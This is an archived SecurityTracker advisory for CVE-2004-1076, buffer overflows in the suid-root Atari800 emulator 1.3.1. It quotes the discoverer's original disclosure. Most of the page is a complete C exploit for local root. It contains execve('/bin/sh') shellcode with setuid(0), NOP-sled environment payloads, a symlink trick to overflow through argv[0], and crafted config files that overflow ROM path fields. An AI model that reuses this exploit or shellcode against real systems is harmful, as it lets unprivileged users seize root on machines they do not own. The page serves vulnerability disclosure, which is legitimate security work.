SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Game)  >   atari800 Vendors:   Atari
Atari800 Buffer Overflow in Atari800_Initialise() May Let Local Users Gain Root Privileges
SecurityTracker Alert ID:  1012335
SecurityTracker URL:  http://securitytracker.com/id/1012335
CVE Reference:   CVE-2004-1076   (Links to External Site)
Updated:  Dec 8 2004
Original Entry Date:  Nov 26 2004
Impact:   Execution of arbitrary code via local system, Root access via local system

Version(s): 1.3.1
Description:   A vulnerability was reported in Atari800. A local user may be able to obtain root privileges.

Adam Zabrocki reported that there is a flaw in the Atari800_Initialise() function. A local user can execute arbitrary code with root privileges.

Impact:   A local user can execute arbitrary code with root privileges.
Solution:   The report indicates that 1.3.2 and 1.3.3 are not vulnerable.
Vendor URL:  atari800.sourceforge.net/ (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Dec 16 2004 (Debian Issues Fix) Atari800 Buffer Overflow in Atari800_Initialise() May Let Local Users Gain Root Privileges
Debian has released a fix.



 Source Message Contents

Subject:  Atari800 - local root.




Name:                       Atari800
Vendor URL:                 http://atari800.sourceforge.net/ 
Author:                     Adam Zabrocki <pi3ki31ny@wp.pl> 
Date:                       November 20, 2004
 

    Issue: 


  Atari800 - free and portable Atari800/XL/XE/5200 emulator allows attacker to execute
shellcode with privileges suid root, where Atari800 is installed.


    Description: 


  Atari800 is free and portable Atari800/XL/XE/5200 emulator, originally written by David
Firth and now developed by the Atari800 Development Team. This program is copyrighted and
released under the GPL.


    Details: 

 
        Possible execute shellcode by function Aprint(), bad called in function
	Atari800_Initialise()

  Local users, able to run atari800 (in default installation atari800 have suid root) are
able to execute shellcode with root privileges.
  The problem lies in Atari800_Initialise() function, which do bad call for function
Aprint().
 
"src/atari.c"
int Atari800_Initialise(int *argc, char *argv[])
{
        int error = FALSE;
        ...
        ...

        ...
        ...
        /*
         * Any parameters left on the command line must be disk images.
         */

        for (i = 1; i < *argc; i++) {
                if (!SIO_Mount(diskno++, argv[i], FALSE)) {
 ![1]!                  Aprint("Disk File %s not found", argv[i]);
                        error = TRUE;
                }
        }

        if (error) {
 ![2]!          Aprint("Usage: %s [options] [diskfile1...diskfile8]", argv[0]);
                Aprint("\t-help         Extended Help");
                Atari800_Exit(FALSE);
                return FALSE;
        }
        ...
        ...
}

Function Aprint() is written by program's autors.

"src/log.c"
void Aprint(char *format, ... )
{
        va_list args;
        char buffer[256];
#ifdef BUFFERED_LOG
        int buflen;
#endif

        va_start(args, format);
        vsprintf(buffer, format, args);
        va_end(args);

#ifdef BUFFERED_LOG
        strcat(buffer, "\n");
        buflen = strlen(buffer);

        if ((strlen(memory_log) + strlen(buffer) + 1) > MAX_LOG_SIZE)
                *memory_log = 0;

        strcat(memory_log, buffer);
#else
        printf("%s\n", buffer);
#endif
}

  We can control argument argv[0] which is given for function Aprint(), which do call
for vsprintf() function and in the and can do overflow. When we create symlink to real
path to atari800 argv[0] will be changed. Exploiting this bug can gave root privileges.
This bug exist in older Atari800 (i read source with version 1.3.0), in the lasted version
there isn't overflow in Aprint() function. It was rewrited!
Atari800 have other bugs who exist when program read config file.
Bugs Exists in function RtConfigLoad()

"src/rt-config.c"
int RtConfigLoad(const char *alternate_config_filename)
{
        FILE *fp;
        const char *fname = rtconfig_filename;
        int status = TRUE;
        char string[256];
        char *ptr;

        ...
        ...
        while (fgets(string, sizeof(string), fp)) {
                RemoveLF(string);
                ptr = strchr(string, '=');
                if (ptr) {
                        *ptr++ = '\0';

                        if (strcmp(string, "OS/A_ROM") == 0)
 ![3]!                          strcpy(atari_osa_filename, ptr);
                        else if (strcmp(string, "OS/B_ROM") == 0)
 ![4]!                          strcpy(atari_osb_filename, ptr);
                        else if (strcmp(string, "XL/XE_ROM") == 0)
 ![5]!                          strcpy(atari_xlxe_filename, ptr);
                        else if (strcmp(string, "BASIC_ROM") == 0)
 ![6]!                          strcpy(atari_basic_filename, ptr);
                        else if (strcmp(string, "5200_ROM") == 0)
 ![7]!                          strcpy(atari_5200_filename, ptr);
                        else if (strcmp(string, "DISK_DIR") == 0) {
                                if (disk_directories == MAX_DIRECTORIES)
                                        printf("All disk directory slots used!\n");
                                else
 ![8]!                                  strcpy(atari_disk_dirs[disk_directories++], ptr);
                        }
                        else if (strcmp(string, "ROM_DIR") == 0)
 ![9]!                          strcpy(atari_rom_dir, ptr);
                        else if (strcmp(string, "H1_DIR") == 0)
 ![10]!                         strcpy(atari_h1_dir, ptr);
                        else if (strcmp(string, "H2_DIR") == 0)
 ![11]!                         strcpy(atari_h2_dir, ptr);
                        else if (strcmp(string, "H3_DIR") == 0)
 ![12]!                         strcpy(atari_h3_dir, ptr);
                        else if (strcmp(string, "H4_DIR") == 0)
 ![13]!                         strcpy(atari_h4_dir, ptr);
                        ...
                        else if (strcmp(string, "EXE_DIR") == 0)
 ![14]!                         strcpy(atari_exe_dir, ptr);
                        else if (strcmp(string, "STATE_DIR") == 0)
 ![15]!                         strcpy(atari_state_dir, ptr);
                        else if (strcmp(string, "PRINT_COMMAND") == 0)
 ![16]!                         strcpy(print_command, ptr);
                        ...
                        ...
}

There is many bad calls who can do stack overflow.


    Exploit: 


Exploit bugs first and second and four bugs in config file - other bugs
in config file to exploit is the same like this.


/*
 * Exploit for atari800 by pi3 (pi3ki31ny)
 *
 * pi3@pi3:~$ ./p
 * 
 *         ...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...
 * 
 *         Ussage:
 *         [+] ./p [options]
 * 
 *             -? <this help screen>
 *             -v choose a bug:
 *                    1 - first bug    (in all versions Atari800)
 *                    2 - second bug   (in older Atari800 - modiy argv[0])
 *                    3 - third bug    (in config file - OS/A_ROM)
 *                    4 - fourth bug   (in config file - OS/B_ROM)
 *                    5 - fifth bug    (in config file - XL/XE_ROM)
 *                    6 - sixth bug    (in config file - BASIC_ROM)
 *             -o <offset>
 *             -p PATH
 * 
 * pi3@pi3:~$ 
 *
 * Atari800 have suid bit in default instalation.
 * Best regards pi3 (pi3ki31ny).
 *
 * "Kazdemu trafi sie gowno...!"
 * 
 * Greetz: [greetz on my web] && other my friends (you know who you are)
 *
 *         ...::: -=[ www.pi3.int.pl ]=- :::...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define PATH "/usr/local/bin/atari800"
#define DIRS 256
#define CONFIG ".atari800.cfg"

/*    ...::: -=[ www.pi3.int.pl ]=- :::...    */

char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
                   "\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
                   "\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
                   "\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
                   "\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
                   "\x80"

/*    setuid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/*    setgid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/*    exec /bin/sh    */

                   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                   "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
                   "\x80"

/*    exit(0)    */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(char *a1, char *a2) {
   
//   return (0xbffffffa-strlen(a1)-strlen(a2));
     return 0xbfffee01;
}

int ussage(char *arg) {
   
   printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
   printf("\n\tUssage:\n\t[+] %s [options]\n
	    -? <this help screen>
	    -v choose a bug:
	           1 - first bug    (in all versions Atari800)
	           2 - second bug   (in older Atari800 - modiy argv[0])
                   3 - third bug    (in config file - OS/A_ROM)
		   4 - fourth bug   (in config file - OS/B_ROM)
		   5 - fifth bug    (in config file - XL/XE_ROM)
		   6 - sixth bug    (in config file - BASIC_ROM)
	    -o <offset>
	    -p PATH\n\n",arg);
   exit(-1);
}

int main(int argc, char *argv[]) {
   
   long ret,*buf_addr;
   char envp[8196],*path=PATH;
   static char *sh[0x02];
   char buf[DIRS],link[500],conf[5000];
   int i,opt,op2=0,offset=0;
   FILE *fp;
   
   while((opt = getopt(argc,argv,"p:o:v:?")) != -1) {
	 switch(opt) {
	 	    
	  case 'o':

	    offset=atoi(optarg);
	    break;
	    
	  case 'p':
	    
	    path=optarg;
	    break;
	    
	  case 'v':
	    
	    op2=atoi(optarg);
	    break;
	    
	  case '?':
	  default:
	    
	    ussage(argv[0]);
	    break;
	 }
   }
   
   if (op2==0)
     ussage(argv[0]);
   
   if ( (fp=fopen(path,"r"))==NULL) {
      printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
      ussage(argv[0]);
   } fclose(fp);
   
   if ( (fp=fopen(CONFIG,"r"))==NULL) {
      if ( (fp=fopen(CONFIG,"w"))==NULL) {
         printf("I can\'t create config file!\n");
	 exit(-1);
      }
      printf("\nCreating config file...\n\n\n");
      fprintf(fp,"Atari 800 Emulator, Version 1.3.0\n");
      fprintf(fp,"OS/A_ROM=atariosa.rom\n");
      fprintf(fp,"OS/B_ROM=atariosb.rom\n");
      fprintf(fp,"XL/XE_ROM=atarixl.rom\n");
      fprintf(fp,"BASIC_ROM=ataribas.rom\n");
      fprintf(fp,"5200_ROM=\n");
      fprintf(fp,"DISK_DIR=.\n");
      fprintf(fp,"ROM_DIR=.\n");
      fprintf(fp,"H1_DIR=\n");
      fprintf(fp,"H2_DIR=\n");
      fprintf(fp,"H3_DIR=\n");
      fprintf(fp,"H4_DIR=\n");
      fprintf(fp,"HD_READ_ONLY=1\n");
      fprintf(fp,"EXE_DIR=\n");
      fprintf(fp,"STATE_DIR=\n");
      fprintf(fp,"PRINT_COMMAND=lpr %s\n");
      fprintf(fp,"SCREEN_REFRESH_RATIO=1\n");
      fprintf(fp,"MACHINE_TYPE=Atari XL/XE\n");
      fprintf(fp,"RAM_SIZE=64\n");
      fprintf(fp,"DEFAULT_TV_MODE=PAL\n");
      fprintf(fp,"DISABLE_BASIC=1\n");
      fprintf(fp,"ENABLE_SIO_PATCH=1\n");
      fprintf(fp,"ENABLE_H_PATCH=1\n");
      fprintf(fp,"ENABLE_P_PATCH=1\n");
      fprintf(fp,"ENABLE_NEW_POKEY=1\n");
      fprintf(fp,"STEREO_POKEY=0\n");
   } fclose(fp);
   
   if (op2==1) {
      
      printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
      printf("\n\t[+] Bulding buffors!\n");

      ret=ret_ad(shellcode,path);
      ret+=offset;
      
      printf("\t[+] Using adres 0x%x\n",ret);
      printf("\t[+] Using first bug in Atari800\n");
      
      memset(envp,0x90,sizeof(envp));
      for (i=0; i<strlen(shellcode); i++)
	envp[8196-strlen(shellcode)+i] = shellcode[i];
      sh[0x00]=envp;
      sh[0x01]=NULL;
      
      strcpy(link,"AA");
      buf_addr=(long*)&link[2];
      for(i=0;i<500;i+=4)
	*(buf_addr)++ = ret;
      
      link[499]='\0';
      printf("\nExecuting the vuln program - %s\n\n",PATH);
      execle(PATH,PATH,link,0,sh);
      printf("Kazdemu trafi sie gowno...!\n");
      return 0;
   } else if (op2==2) {   
      
      system("rm -rf `perl -e 'print \"\\x41\"x250'`; rm -f 1");
      
      printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
      printf("\n\t[+] Bulding buffors!\n");
      
      ret=ret_ad(shellcode,path);
      ret+=offset;
      
      printf("\t[+] Using adres 0x%x\n",ret);
      printf("\t[+] Using second bug in Atari800\n");
      
      memset(envp,0x90,sizeof(envp));
      for (i=0; i<strlen(shellcode); i++)
	envp[8196-strlen(shellcode)+i] = shellcode[i];
      sh[0x00]=envp;
      sh[0x01]=NULL;
      
      memset(buf,0x41,(size_t)250);
      strcpy(link,"./");
      memset(&link[2],0x41,(size_t)252);
      assert(mkdir(buf, 0755) != -1);
      assert(chdir(buf) != -1);
      
      buf_addr=(long*)buf;
      for (i=0; i<80; i+=4)
	*(buf_addr)++ = ret;
      buf[80]='\0';
      //   snprintf(link+252,500,"/`perl -e \'print \"\\x01\\xee\\xff\\xbf\"x20\'` pi3");
      snprintf(link+252,500,"/%s",buf);
      assert(symlink(path, buf) != -1);
      assert(chdir("../") != -1);
      
      printf("\nExecuting the vuln program - %s\n\n",link);
      // system(link);
      execle(link,link,"pi3",0,sh);
      printf("Kazdemu trafi sie gowno...!\n");
      return 0;
   } else if (op2==3) {

      printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
      printf("\n\t[+] Bulding buffors!\n");

      ret=ret_ad(shellcode,path);
      ret+=offset;

      printf("\t[+] Using adres 0x%x\n",ret);
      printf("\t[+] Using third bug in Atari800\n");

      memset(envp,0x90,sizeof(envp));
      for (i=0; i<strlen(shellcode); i++)
        envp[8196-strlen(shellcode)+i] = shellcode[i];
      sh[0x00]=envp;
      sh[0x01]=NULL;

      strcpy(conf,"AA");
      buf_addr=(long*)&conf[2];
      for(i=0;i<5000;i+=4)
        *(buf_addr)++ = ret;

      conf[4999]='\0';
      system("rm -rf .pi3.conf");
      if ( (fp=fopen(".pi3.conf","w")) == NULL) {
         printf("I can\'t create config file!\nExiting...\n");
         exit(-1);
      }
      fprintf(fp,"OS/A_ROM=%s\n",conf);
      printf("\nExecuting the vuln program - %s\n\n",PATH);
      execle(PATH,PATH,"-config",".pi3.conf",0,sh);
      printf("Kazdemu trafi sie gowno...!\n");
      return 0;
   } else if (op2==4) {

      printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
      printf("\n\t[+] Bulding buffors!\n");

      ret=ret_ad(shellcode,path);
      ret+=offset;

      printf("\t[+] Using adres 0x%x\n",ret);
      printf("\t[+] Using fourth bug in Atari800\n");

      memset(envp,0x90,sizeof(envp));
      for (i=0; i<strlen(shellcode); i++)
        envp[8196-strlen(shellcode)+i] = shellcode[i];
      sh[0x00]=envp;
      sh[0x01]=NULL;

      strcpy(conf,"AA");
      buf_addr=(long*)&conf[2];
      for(i=0;i<5000;i+=4)
        *(buf_addr)++ = ret;

      conf[4999]='\0';
      system("rm -rf .pi3.conf");
      if ( (fp=fopen(".pi3.conf","w")) == NULL) {
         printf("I can\'t create config file!\nExiting...\n");
         exit(-1);
      }
      fprintf(fp,"OS/B_ROM=%s\n",conf);
      printf("\nExecuting the vuln program - %s\n\n",PATH);
      execle(PATH,PATH,"-config",".pi3.conf",0,sh);
      printf("Kazdemu trafi sie gowno...!\n");
      return 0;
   } else if (op2==5) {

      printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
      printf("\n\t[+] Bulding buffors!\n");

      ret=ret_ad(shellcode,path);
      ret+=offset;

      printf("\t[+] Using adres 0x%x\n",ret);
      printf("\t[+] Using fifth bug in Atari800\n");

      memset(envp,0x90,sizeof(envp));
      for (i=0; i<strlen(shellcode); i++)
        envp[8196-strlen(shellcode)+i] = shellcode[i];
      sh[0x00]=envp;
      sh[0x01]=NULL;

      strcpy(conf,"A");
      buf_addr=(long*)&conf[1];
      for(i=0;i<5000;i+=4)
        *(buf_addr)++ = ret;

      conf[4999]='\0';
      system("rm -rf .pi3.conf");
      if ( (fp=fopen(".pi3.conf","w")) == NULL) {
         printf("I can\'t create config file!\nExiting...\n");
         exit(-1);
      }
      fprintf(fp,"XL/XE_ROM=%s\n",conf);
      printf("\nExecuting the vuln program - %s\n\n",PATH);
      execle(PATH,PATH,"-config",".pi3.conf",0,sh);
      printf("Kazdemu trafi sie gowno...!\n");
      return 0;
   } else if (op2==6) {

      printf("\n\t...::: -=[ exploit for Atari800 by pi3 (pi3ki31ny) ]=- :::...\n");
      printf("\n\t[+] Bulding buffors!\n");

      ret=ret_ad(shellcode,path);
      ret+=offset;

      printf("\t[+] Using adres 0x%x\n",ret);
      printf("\t[+] Using sixth bug in Atari800\n");

      memset(envp,0x90,sizeof(envp));
      for (i=0; i<strlen(shellcode); i++)
        envp[8196-strlen(shellcode)+i] = shellcode[i];
      sh[0x00]=envp;
      sh[0x01]=NULL;

      strcpy(conf,"A");
      buf_addr=(long*)&conf[1];
      for(i=0;i<5000;i+=4)
        *(buf_addr)++ = ret;

      conf[4999]='\0';
      system("rm -rf .pi3.conf");
      if ( (fp=fopen(".pi3.conf","w")) == NULL) {
         printf("I can\'t create config file!\nExiting...\n");
         exit(-1);
      }
      fprintf(fp,"BASIC_ROM=%s\n",conf);
      printf("\nExecuting the vuln program - %s\n\n",PATH);
      execle(PATH,PATH,"-config",".pi3.conf",0,sh);
      printf("Kazdemu trafi sie gowno...!\n");
      return 0;
   }
}

Atari800 1.3.1 are confirmed vulnerable. Probably all previous versions are
also vulnerable.

Btw. Atari 1.3.3 and 1.3.2 are not vuln but i don't found any raport of this bug what i writed here.

Best regards Adam Zabrocki (pi3).

--
pi3 (pi3ki31ny) - pi3ki31ny wp pl
http://www.pi3.int.pl

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC